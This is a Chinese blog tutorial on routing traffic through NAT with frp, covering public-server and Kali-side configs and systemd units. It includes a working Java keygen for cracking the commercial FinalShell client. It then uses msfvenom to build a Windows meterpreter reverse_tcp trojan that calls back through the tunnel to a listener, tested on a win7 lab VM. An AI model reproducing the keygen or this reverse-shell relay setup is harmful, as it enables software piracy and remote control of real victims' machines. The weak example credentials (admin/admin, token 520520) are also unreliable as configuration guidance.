前言
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机
环境需求
一台公网服务器(linux操作系统)
一台内网主机服务器(linux操作系统) //我用的kali
Finalshell程序
win7靶机
环境搭建
Finalshell下载及破解
Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载
Finalshell下载链接: https://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz
其中需要破解的可以参考这位博主:https://blog.csdn.net/qq_50839138/article/details/126160766
破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
public class Finalshell {
public static void main(String[] args) throws NoSuchAlgorithmException {
Scanner scanner = new Scanner(System.in);
System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
String hardwareId = scanner.nextLine();
System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
}
public static String transform(String str) throws NoSuchAlgorithmException {
return hashMD5(str).substring(8, 24);
}
public static String hashMD5(String str) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("MD5");
byte[] hashed = digest.digest(str.getBytes());
StringBuilder sb = new StringBuilder();
byte[] var4 = hashed;
int var5 = hashed.length;
for(int var6 = 0; var6 < var5; ++var6) {
byte b = var4[var6];
int len = b & 255;
if (len < 16) {
sb.append("0");
}
sb.append(Integer.toHexString(len));
}
return sb.toString();
}
}
激活成功后用22端口分别去连接你的公网服务器和kali
公网服务器搭建frp
先使用arch查看自己的系统是64还是32位的
然后使用命令
wget https://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz //下载
tar -zxvf frp_0.46.1_linux_amd64.tar.gz //解压
cd frp_0.46.1_linux_amd64 //进入文件夹
vi frps.ini 修改配置文件
[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080
#授权码,建议改成复杂的
token = 520520
#frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878
# frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin
设置和启动frp服务器
sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frps.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frps //运行frps
sudo systemctl start frps //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frps.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini
[Install]
WantedBy = multi-user.target
防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp //这里对应客户端的6070
sudo firewall-cmd --reload //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看
sudo firewall-cmd --list-ports //查看开放的端口
紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下
然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)
配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面
服务器配置到这就算成功了,接下来配置客户端的
内网客户端服务器搭建frp
在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹
vim frpc.ini //进入frpc.ini配置客户端
[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520
#配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070
sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frpc //运行frps
sudo systemctl start frpc //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frpc.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini
[Install]
WantedBy = multi-user.target
使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功
测试内网穿透是否成功
连接成功后,我们kali的msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip LPORT=6070 -f exe > muma60701.exe
6070对应客户端的frpc.ini的转发端口
开启msf监听,
msfconcole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545 //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run
然后将木马放到虚拟机win7运行之后会得到后台
总结
标签:网络安全,frps,sudo,frp,ini,frpc,服务器,内网 From: https://www.cnblogs.com/BlogVice-2203/p/17053508.html我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功